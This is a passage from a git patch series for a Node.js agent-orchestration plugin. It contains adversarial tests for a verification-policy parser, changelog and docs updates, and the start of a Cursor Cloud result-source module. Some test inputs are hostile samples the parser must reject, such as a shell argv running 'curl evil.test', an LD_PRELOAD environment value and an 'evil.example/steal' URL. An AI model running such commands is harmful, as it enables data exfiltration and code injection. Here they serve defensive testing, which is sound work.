'unit-tests', env: { CI: '1' } }, 'executable_content_denied'], + [{ command_id: 'unit-tests', environment: { entries: [] } }, 'executable_content_denied'], + [{ command_id: 'unit-tests', network: { mode: 'allowlist' } }, 'network_content_denied'], + [{ command_id: 'unit-tests', hosts: ['evil.test'] }, 'network_content_denied'], + [{ command_id: 'unit-tests', mutation: { persistent: true } }, 'mutation_permission_denied'], + [{ command_id: 'unit-tests', timeout_ms: 1000 }, 'resource_limit_denied'], + [{ command_id: 'unit-tests', resources: { max_output_bytes: 10 } }, 'resource_limit_denied'], + [{ command_id: 'unit-tests', working_directory: '/tmp' }, 'executable_content_denied'], + [{ command_id: 'unit-tests', command: 'npm test' }, 'executable_content_denied'], + ]; + for (const [input, code] of cases) { + assert.equal(errorOf(() => parseUntrustedCommandReferenceV1(input)).code, code); + assert.equal(errorOf(() => rejectUntrustedExecutableContentV1(input)).code, code); + } + + const profile = { + schema: 'codex-co-engineer.profile.v1', + provider: 'dsh', + verification_policy: validPolicy(), + }; + assert.equal(errorOf(() => rejectUntrustedExecutableContentV1(profile)).code, 'executable_content_denied'); + + const manifestAcceptance = { + command_id: 'unit-tests', + parameters: { file: 'a.js' }, + timeout_ms: 600_000, + }; + assert.equal( + errorOf(() => parseUntrustedCommandReferenceV1(manifestAcceptance)).code, + 'resource_limit_denied', + ); + + const providerReport = { + command_id: 'unit-tests', + argv: ['/bin/sh', '-c', 'curl evil.test'], + env: { LD_PRELOAD: 'x' }, + }; + assert.equal(errorOf(() => parseUntrustedCommandReferenceV1(providerReport)).code, 'executable_content_denied'); +}); + +test('caller objects are not mutated or frozen', () => { + const input = validPolicy(); + const snapshot = parseVerificationPolicyV1(input); + assert.equal(Object.isFrozen(input), false); + assert.equal(Object.isFrozen(input.commands), false); + input.commands.push(validParameterizedCommand()); + assert.equal(snapshot.commands.length, 1); + input.schema = 'mutated'; + assert.equal(snapshot.schema, VERIFICATION_POLICY_SCHEMA_ID); +}); + +test('failures are typed and content-free', () => { + const secret = 'sk-attacker-secret-value'; + const error = errorOf(() => parseVerificationPolicyV1(validPolicy({ + [secret]: `/usr/bin/${secret}`, + }))); + assert.equal(error instanceof RunContractV1Error, true); + assert.equal(typeof error.code, 'string'); + assert.equal(error.message.includes(secret), false); + assert.equal(error.message.includes('/usr/bin'), false); + assert.equal(String(error.path).includes(secret), false); + assert.equal(error.message.includes('TypeError'), false); + + const urlError = errorOf(() => parseUntrustedCommandReferenceV1({ + command_id: 'unit-tests', + url: 'https://evil.example/steal', + })); + assert.equal(urlError.message.includes('https://'), false); + assert.equal(urlError.message.includes('evil.example'), false); +}); + +test('the owner loader round-trips a catalog and treats absence as default deny', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-')); + const ownerConfigDir = path.join(root, 'owner-config'); + const policyDir = path.join(ownerConfigDir, 'codex-co-engineer'); + try { + await mkdir(policyDir, { recursive: true }); + const missing = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(missing.source.present, false); + assert.equal(missing.policy.commands.length, 0); + assert.equal(missing.digest.label, IDENTITY_LABELS.VERIFICATION_POLICY); + assert.equal(Object.isFrozen(missing), true); + assert.equal(Object.isFrozen(missing.policy), true); + + const file = path.join(policyDir, 'verification-policy.json'); + await writeFile(file, JSON.stringify(validPolicy({ + commands: [validParameterizedCommand(), validCommand()], + }))); + await chmod(ownerConfigDir, 0o700); + await chmod(policyDir, 0o700); + await chmod(file, 0o600); + const loaded = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(loaded.source.present, true); + assert.equal(loaded.policy.commands.length, 2); + assert.equal(loaded.policy.commands[0].command_id, 'file-tests'); + assert.equal(loaded.policy.commands[1].command_id, 'unit-tests'); + assert.equal( + loaded.digest.digest, + verificationPolicyDigestV1(validPolicy({ + commands: [validCommand(), validParameterizedCommand()], + })).digest, + ); + const roots = verificationPolicyRoots({ ownerConfigDir }); + assert.equal(roots.scope, 'owner'); + assert.equal(roots.file, file); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('the module never claims command execution, PATH resolution, or network access', async () => { + const source = await import('node:fs/promises').then((fs) => fs.readFile( + new URL('../mcp/v3/trusted-verification-policy.mjs', import.meta.url), + 'utf8', + )); + assert.match(source, /never invokes a shell/u); + assert.match(source, /never resolves PATH/u); + assert.doesNotMatch(source, /from 'node:child_process'/u); + assert.doesNotMatch(source, /from 'node:net'/u); + assert.doesNotMatch(source, /from 'node:http'/u); + assert.doesNotMatch(source, /from 'node:dns'/u); + assert.equal(source.includes('spawn('), false); + assert.equal(source.includes('execFile('), false); + assert.equal(source.includes('execSync('), false); + assert.equal(source.includes('fetch('), false); +}); From 60c266637d246cabc409f619ef26c0e87128f44b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 07:53:24 +0000 Subject: [PATCH 064/151] docs(changelog): record the P16A trusted verification policy Note the additive schema and owner loader, and keep future-work clear that approved-command resolution and execution remain later work. --- CHANGELOG.md | 20 ++++++++++++++++++++ docs/future-work.md | 7 +++++-- 2 files changed, 25 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ef2e910..79820a5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,26 @@ ### Added +- **Trusted VerificationPolicyV1 schema and owner-authored policy loader.** + Adds additive `trusted-verification-policy.mjs` for W14-P16A. The module + owns a versioned immutable command catalog: each stable command ID binds + an owner-authored absolute executable path, a fixed argv template, typed + parameter domains, and explicit network, environment, mutation, timeout, + and output policies. Absent capabilities materialize as exact default-deny + receipts (no network, empty environment, no persistent mutation, bounded + time and output). Canonical identity/digest is framed through the P03 + `verification-policy.v1` / `verification-command-descriptor.v1` labels. + Profiles, manifests, and provider reports may name a command ID and typed + parameters only; executable paths, argv, shell text, environment, network + targets, mutation grants, and resource limits are rejected on that + untrusted surface. Hostile containers fail closed (proxies, accessors, + symbols, exotic prototypes, cycles, bounds, ambiguous IDs) with typed + content-free errors. The owner loader reads + `/codex-co-engineer/verification-policy.json` and never invokes a + shell, resolves PATH, executes a command, opens a network socket, mutates + a candidate, or implements the later approved-command resolver/runner. + Coverage lives in `test/r1-trusted-verification-policy.test.mjs` and + `test/r1-trusted-verification-policy-adversarial.test.mjs`. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable diff --git a/docs/future-work.md b/docs/future-work.md index 9bf116f..34f9d74 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -16,8 +16,11 @@ run submissions, disjoint writers, read-only verification, no post-dispatch fallback or replay, and Codex-only final acceptance. This worktree does not implement the run runtime, candidate composition, -or `AttentionBatchV1`. Gate A remains the functional release authority; -Gate B context-efficiency and Gate C credit economics stay advisory. +or `AttentionBatchV1`. The P16A VerificationPolicyV1 schema and owner +loader exist as data validation only; approved-command resolution and +execution remain later work. Gate A remains the functional release +authority; Gate B context-efficiency and Gate C credit economics stay +advisory. ## Durable, low-token agent completion waits From 9e417eace7eea9dd6e9efe8c9af9f053754115b5 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:14:12 +0000 Subject: [PATCH 065/151] feat(cloud): store provider report and Git evidence separately Add a Cursor Cloud result-source module that publishes provider-reported output/status and independently observed Git/branch/commit/PR evidence as distinct typed P09/P10 artifacts. Trusted Git facts are never synthesized from provider text. The cloud worker result seam projects those sources apart and preserves 3.2.1 terminal receipts when exact R1 identity is absent. --- .../mcp/v3/cursor-cloud-result-source.mjs | 1467 +++++++++++++++++ .../mcp/v3/cursor-cloud-worker.mjs | 73 +- ...r1-cursor-cloud-result-source-fixtures.mjs | 107 ++ .../r1-cursor-cloud-result-source.test.mjs | 243 +++ 4 files changed, 1889 insertions(+), 1 deletion(-) create mode 100644 plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-result-source-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs new file mode 100644 index 0000000..22c4c50 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs @@ -0,0 +1,1467 @@ +// Cursor Cloud result source (P12; ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, +// `sanitized_bounded_evidence_model_facing`, +// Gate A `gate_a_valid_raw_and_sanitized_artifacts`, +// `codex_only_final_acceptance`). +// +// Additive v3 module. It materializes Cursor Cloud provider-reported +// result/output/status and independently observed Git/branch/commit/PR +// evidence as distinct typed sources. It does not sanitize, store, or +// range-read on its own: P09 `sanitizeAndPublishArtifactV1` and P08 +// `verifyStoredArtifactV1` remain the publication/verify authorities, +// and P10 `readSanitizedArtifactV1` is the only model-facing tail reader. +// +// Contract: +// - Provider-reported bytes and independently observed Git facts stay +// distinct. Trusted Git identity is never synthesized from provider +// text, JSON output, or status strings. +// - Exact run/assignment/request/repository/branch/head/base identity +// is bound into ArtifactRefV1 paths and the detached receipt. +// Mismatch fails closed with no replay or fallback. +// - Complete transport-available source bytes are stored up to the +// existing raw class cap. Receipts expose only bounded sanitized +// tails, refs, digests, and provenance. Upstream/provider +// truncation is caller-declared and is never inferred from inline +// clipping or storage limits. +// - Empty sources are not published and do not invent an artifact. +// - Crossing a class cap fails closed rather than clipping toward the cap. +// - Publication that does not verify is not reported. +// +// Provider completion remains evidence, never acceptance. This module +// does not dispatch Cloud runs, mutate Git, create PRs, or talk to +// supervisor, server, scheduler, or the P21 driver. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { chmod, mkdir } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + validateArtifactRelativePathV1, +} from './artifact-path.mjs'; +import { + ARTIFACT_REF_SCHEMA_ID, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + readSanitizedArtifactV1, +} from './artifact-reader.mjs'; +import { + ARTIFACT_SANITIZER_SCHEMA_ID, + SANITIZER_CONTENT_ENCODING, + SANITIZER_MEDIA_TYPES, + sanitizeAndPublishArtifactV1, +} from './artifact-sanitizer.mjs'; +import { + openArtifactStoreV1, + verifyStoredArtifactV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedTest, + isKnownProvider, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH } from './identity.mjs'; +import { + RunContractV1Error, + SHA40_PATTERN, + assertRunId, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID = + 'codex-co-engineer.cursor-cloud-result-source.v1'; +export const CURSOR_CLOUD_RESULT_SOURCE_VERSION = 1; +export const CURSOR_CLOUD_RESULT_SOURCE_PROVIDER = 'cursor-cloud'; +export const CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND = 'provider_report'; +export const CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND = 'git_diff'; +export const CURSOR_CLOUD_RESULT_STORE_DIR = 'artifacts'; +export const CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_MAX_BYTES = 4_096; + +export const CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS = capturedFreeze([ + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'request_id', + 'agent_id', + 'provider_run_id', + 'repository_identity', + 'repository_url', + 'branch', + 'starting_sha', + 'head_sha', + 'observed', + 'provider_report', + 'git_evidence', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_OBSERVED_KEYS = capturedFreeze([ + 'provider_run_id', + 'request_id', + 'agent_id', + 'run_id', + 'assignment_id', +]); + +export const CURSOR_CLOUD_PROVIDER_REPORT_INPUT_KEYS = capturedFreeze([ + 'status', + 'output', + 'error', + 'source_truncated', +]); + +export const CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS = capturedFreeze([ + 'repository_identity', + 'repository_url', + 'branch', + 'head_sha', + 'merge_base_sha', + 'starting_sha', + 'linear_history', + 'pr_url', + 'source_truncated', +]); + +export const CURSOR_CLOUD_SDK_GIT_KEYS = capturedFreeze(['branches']); +export const CURSOR_CLOUD_SDK_BRANCH_KEYS = capturedFreeze([ + 'repoUrl', 'branch', 'prUrl', +]); +const CURSOR_CLOUD_GIT_PROJECTOR_KEYS = capturedFreeze([ + ...CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS, + ...CURSOR_CLOUD_SDK_GIT_KEYS, +]); + +export const CURSOR_CLOUD_PROVIDER_REPORT_STATUSES = capturedFreeze([ + 'finished', 'completed', 'failed', 'cancelled', 'error', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'request_id', + 'agent_id', + 'provider_run_id', + 'provider_report', + 'git_evidence', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS = capturedFreeze([ + 'source_kind', + 'artifact_kind', + 'published', + 'empty', + 'relative_path', + 'media_type', + 'raw_ref', + 'sanitized_ref', + 'raw_digest', + 'sanitized_digest', + 'ref_digest_raw', + 'ref_digest_sanitized', + 'source_byte_length', + 'sanitized_byte_length', + 'redaction_counts', + 'sanitizer_version', + 'policy_id', + 'complete', + 'source_truncated', + 'inline_clipped', + 'storage_limited', + 'provenance', + 'inline_tail', + 'status', + 'repository_identity', + 'repository_url', + 'branch', + 'head_sha', + 'merge_base_sha', + 'starting_sha', + 'linear_history', + 'pr_url', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_KEYS = capturedFreeze([ + 'encoding', + 'text', + 'byte_length', + 'offset', + 'max_bytes', + 'inline_clipped', + 'source_truncated', + 'complete', + 'reader_clipped', + 'more', + 'next_offset', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'error', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES = capturedFreeze([ + 'agent_identity_mismatch', + 'artifact_sink_failed', + 'artifact_sink_not_published', + 'artifact_sink_not_verified', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'assignment_identity_mismatch', + 'base_identity_mismatch', + 'branch_identity_mismatch', + 'cursor_cloud_provider_required', + 'head_identity_mismatch', + 'invalid_format', + 'invalid_type', + 'malformed_result', + 'missing_key', + 'provider_run_identity_mismatch', + 'proxy_denied', + 'repository_identity_mismatch', + 'request_identity_mismatch', + 'run_identity_mismatch', + 'source_confusion_denied', + 'unknown_key', + 'unknown_provider', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES = capturedFreeze([ + 'agent_identity_mismatch', + 'assignment_identity_mismatch', + 'base_identity_mismatch', + 'branch_identity_mismatch', + 'head_identity_mismatch', + 'provider_run_identity_mismatch', + 'repository_identity_mismatch', + 'request_identity_mismatch', + 'run_identity_mismatch', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_FAILURE_MESSAGE = + 'The Cursor Cloud result source did not materialize after provider terminal.'; + +export const CURSOR_CLOUD_RESULT_SOURCE_FAILURE_CODE_ALLOWLIST = capturedFreeze([ + ...CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES, + 'accessor_property_denied', + 'artifact_content_conflict', + 'artifact_digest_mismatch', + 'artifact_length_mismatch', + 'artifact_metadata_conflict', + 'artifact_stream_failed', + 'non_enumerable_property_denied', + 'own_undefined_denied', + 'sanitizer_content_encoding_denied', + 'sanitizer_empty_output', + 'sanitizer_media_type_denied', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_FAILURE_PATH_ALLOWLIST = capturedFreeze([ + 'artifact_ref', + 'git_evidence', + 'inline_tail', + 'observed', + 'options.agent_id', + 'options.assignment_id', + 'options.branch', + 'options.child_envelope_digest', + 'options.head_sha', + 'options.model', + 'options.provider', + 'options.provider_run_id', + 'options.repository_identity', + 'options.repository_url', + 'options.request_id', + 'options.run_id', + 'options.starting_sha', + 'provider_report', + 'provenance', + 'relative_path', + 'root', + 'source', +]); + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const TOKEN_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const BRANCH_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$/u; +const REPO_IDENTITY_PATTERN = /^[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +const REPO_URL_PATTERN = /^https:\/\/[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +const PR_URL_PATTERN = /^https:\/\/[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; + +const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ + 'buffer', + 'byteOffset', + 'byteLength', + 'subarray', +]); + +const CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const JSON_STRINGIFY = JSON.stringify; +const STRING = String; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const MKDIR = mkdir; +const CHMOD = chmod; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const NUMBER_IS_FINITE = Number.isFinite; + +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = NodeBuffer.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failSource(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function hasOwnIntrinsicViewSurfaceOverride(value) { + try { + for (let index = 0; index < INTRINSIC_VIEW_SURFACE_KEYS.length; index += 1) { + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR( + value, + INTRINSIC_VIEW_SURFACE_KEYS[index], + ); + if (descriptor !== undefined) return true; + } + return false; + } catch { + return true; + } +} + +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + if (hasOwnIntrinsicViewSurfaceOverride(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +function snapshotView(view) { + const copy = BUFFER_ALLOC(view.byteLength); + copy.set(view); + return copy; +} + +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function digestOf(bytes) { + return CREATE_HASH('sha256').update(bytes).digest('hex'); +} + +function mediaExtension(mediaType) { + if (mediaType === 'application/json') return 'json'; + if (mediaType === 'application/x-ndjson') return 'ndjson'; + if (mediaType === 'text/markdown') return 'md'; + return 'txt'; +} + +function uint32be(length) { + const header = BUFFER_ALLOC(4); + header[0] = (length >>> 24) & 0xff; + header[1] = (length >>> 16) & 0xff; + header[2] = (length >>> 8) & 0xff; + header[3] = length & 0xff; + return header; +} + +function encodePart(value) { + return BUFFER_FROM(value ?? '', 'utf8'); +} + +function identityNamespaceDigest(identity) { + const parts = [ + identity.provider, + identity.model, + identity.child_envelope_digest ?? '', + identity.request_id ?? '', + identity.provider_run_id ?? '', + ]; + const hash = CREATE_HASH('sha256'); + for (let index = 0; index < parts.length; index += 1) { + const encoded = encodePart(parts[index]); + hash.update(uint32be(encoded.byteLength)).update(encoded); + } + return hash.digest('hex'); +} + +function artifactRelativePath(identity, fileName) { + const binding = identityNamespaceDigest(identity); + const relativePath = + `runs/${identity.run_id}/${identity.assignment_id}/${identity.provider}/${binding}/${fileName}`; + validateArtifactRelativePathV1(relativePath, 'relative_path'); + return relativePath; +} + +export function cursorCloudProviderReportPathV1(identity, mediaType = 'text/plain') { + if (identity === null || typeof identity !== 'object' || Array.isArray(identity)) { + failSource('invalid_type', 'identity', + 'A provider-report path requires a bounded identity object.'); + } + return artifactRelativePath(identity, `provider-report.${mediaExtension(mediaType)}`); +} + +export function cursorCloudGitEvidencePathV1(identity) { + if (identity === null || typeof identity !== 'object' || Array.isArray(identity)) { + failSource('invalid_type', 'identity', + 'A Git-evidence path requires a bounded identity object.'); + } + return artifactRelativePath(identity, 'git-evidence.json'); +} + +function exactBytesEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string') return false; + const a = BUFFER_FROM(left, 'utf8'); + const b = BUFFER_FROM(right, 'utf8'); + if (a.byteLength !== b.byteLength) return false; + return TIMING_SAFE_EQUAL(a, b); +} + +function assertExactIdentity(recorded, observed, code, field, label) { + if (recorded == null || observed == null) return; + if (!exactBytesEqual(recorded, observed)) { + failSource(code, field, `Cursor Cloud ${label} identity did not match the recorded identity.`); + } +} + +function assertTokenId(value, field, label) { + if (typeof value !== 'string' || !capturedTest(TOKEN_ID_PATTERN, value)) { + failSource('invalid_format', field, + `${label} must be an exact bounded Cursor Cloud identity token.`); + } + return value; +} + +function assertOptionalToken(input, key, field, label) { + if (!hasOwn(input, key)) return null; + return assertTokenId(ownDataValue(input, key, field), field, label); +} + +function assertBranch(value, field) { + if (typeof value !== 'string' || !capturedTest(BRANCH_PATTERN, value)) { + failSource('invalid_format', field, + 'branch must be an exact independently observed Git branch identity.'); + } + return value; +} + +function assertCommit(value, field) { + if (typeof value !== 'string' || !isSha40(value) || !capturedTest(SHA40_PATTERN, value)) { + failSource('invalid_format', field, + `${field} must be an exact lowercase 40-hex commit SHA.`); + } + return value; +} + +function assertRepoIdentity(value, field) { + if (typeof value !== 'string' || !capturedTest(REPO_IDENTITY_PATTERN, value)) { + failSource('invalid_format', field, + 'repository_identity must be a credential-free host/path identity.'); + } + return value; +} + +function assertRepoUrl(value, field) { + if (typeof value !== 'string' || !capturedTest(REPO_URL_PATTERN, value)) { + failSource('invalid_format', field, + 'repository_url must be a credential-free https repository URL.'); + } + return value; +} + +function assertPrUrl(value, field) { + if (typeof value !== 'string' || !capturedTest(PR_URL_PATTERN, value)) { + failSource('invalid_format', field, + 'pr_url must be a credential-free https pull-request URL.'); + } + return value; +} + +function parseBooleanFlag(input, key, field) { + if (!hasOwn(input, key)) return false; + const flagged = ownDataValue(input, key, field); + if (flagged !== true && flagged !== false) { + failSource('invalid_type', field, + `${field} must be an exact boolean when present.`); + } + return flagged === true; +} + +function closedObject(input, allowed, field, label) { + assertPlainObject(input, 'invalid_type', field, label); + const keys = sortedCapturedKeys(input); + for (let index = 0; index < keys.length; index += 1) { + if (!capturedIncludes(allowed, keys[index])) { + failSource('unknown_key', `${field}.${keys[index]}`, + `${field}.${keys[index]} is not part of the closed result-source vocabulary.`); + } + } + return keys; +} + +function encodeJsonValue(value, field) { + assertDirectJsonClosure(value, field); + try { + const text = JSON_STRINGIFY(value); + if (typeof text !== 'string') { + failSource('invalid_type', field, + 'The Cursor Cloud JSON value could not be serialized.'); + } + return BUFFER_FROM(text, 'utf8'); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('invalid_type', field, + 'The Cursor Cloud JSON value could not be serialized.'); + } +} + +function chunkToBytes(chunk, field) { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (isIntrinsicBinaryView(chunk)) return snapshotView(chunk); + failSource('artifact_stream_invalid_chunk', field, + 'Every stream chunk must be a string or an intrinsic Buffer/Uint8Array view.'); +} + +async function collectStream(iterable, field) { + const parts = []; + let total = 0; + try { + for await (const chunk of iterable) { + const bytes = chunkToBytes(chunk, field); + if (total + bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSource('artifact_stream_over_cap', field, + `The Cursor Cloud result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + parts.push(bytes); + total += bytes.byteLength; + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('artifact_sink_failed', field, + 'The Cursor Cloud result stream failed before its declared length; nothing was published.'); + } + if (total === 0) return BUFFER_ALLOC(0); + if (parts.length === 1) return parts[0]; + return BUFFER_CONCAT(parts, total); +} + +async function normalizeOutput(source, field) { + if (source === null || source === undefined) { + return { bytes: BUFFER_ALLOC(0), mediaType: 'text/plain' }; + } + if (typeof source === 'string') { + return { bytes: BUFFER_FROM(source, 'utf8'), mediaType: 'text/plain' }; + } + if (typeof source === 'number' || typeof source === 'boolean') { + if (typeof source === 'number' && !NUMBER_IS_FINITE(source)) { + failSource('invalid_type', field, 'JSON number results must be finite.'); + } + return { bytes: BUFFER_FROM(JSON_STRINGIFY(source), 'utf8'), mediaType: 'application/json' }; + } + if (isIntrinsicBinaryView(source)) { + return { bytes: snapshotView(source), mediaType: 'text/plain' }; + } + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failSource('proxy_denied', field, 'The provider result source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) { + return { bytes: await collectStream(source, field), mediaType: 'text/plain' }; + } + if (Array.isArray(source) || OBJECT_GET_PROTOTYPE_OF(source) === OBJECT_PROTOTYPE + || OBJECT_GET_PROTOTYPE_OF(source) === null) { + return { bytes: encodeJsonValue(source, field), mediaType: 'application/json' }; + } + } + failSource('artifact_stream_invalid_source', field, + 'The provider result source must be a string, JSON value, intrinsic byte view, or async iterable of such chunks.'); +} + +function parseObserved(input) { + if (!hasOwn(input, 'observed')) return freezeData({}); + const observed = ownDataValue(input, 'observed', 'observed'); + closedObject(observed, CURSOR_CLOUD_RESULT_SOURCE_OBSERVED_KEYS, 'observed', + 'The independently observed Cursor Cloud correlation'); + const projected = {}; + if (hasOwn(observed, 'provider_run_id')) { + projected.provider_run_id = assertTokenId( + ownDataValue(observed, 'provider_run_id', 'observed.provider_run_id'), + 'observed.provider_run_id', 'provider run', + ); + } + if (hasOwn(observed, 'request_id')) { + projected.request_id = assertTokenId( + ownDataValue(observed, 'request_id', 'observed.request_id'), + 'observed.request_id', 'request', + ); + } + if (hasOwn(observed, 'agent_id')) { + projected.agent_id = assertTokenId( + ownDataValue(observed, 'agent_id', 'observed.agent_id'), + 'observed.agent_id', 'agent', + ); + } + if (hasOwn(observed, 'run_id')) { + const runId = ownDataValue(observed, 'run_id', 'observed.run_id'); + assertRunId(runId, 'observed.run_id'); + projected.run_id = runId; + } + if (hasOwn(observed, 'assignment_id')) { + const assignmentId = ownDataValue(observed, 'assignment_id', 'observed.assignment_id'); + if (typeof assignmentId !== 'string' || !isAssignmentId(assignmentId)) { + failSource('invalid_format', 'observed.assignment_id', + 'observed.assignment_id violates the assignment-id grammar.'); + } + projected.assignment_id = assignmentId; + } + return freezeData(projected); +} + +function parseProviderReport(input) { + if (!hasOwn(input, 'provider_report')) { + return freezeData({ + status: null, + output: undefined, + error: null, + source_truncated: false, + }); + } + const report = ownDataValue(input, 'provider_report', 'provider_report'); + closedObject(report, CURSOR_CLOUD_PROVIDER_REPORT_INPUT_KEYS, 'provider_report', + 'The Cursor Cloud provider report'); + let status = null; + if (hasOwn(report, 'status')) { + status = ownDataValue(report, 'status', 'provider_report.status'); + if (!capturedIncludes(CURSOR_CLOUD_PROVIDER_REPORT_STATUSES, status)) { + failSource('invalid_format', 'provider_report.status', + 'provider_report.status must be a closed provider-reported status.'); + } + } + return freezeData({ + status, + output: hasOwn(report, 'output') ? ownDataValue(report, 'output', 'provider_report.output') : 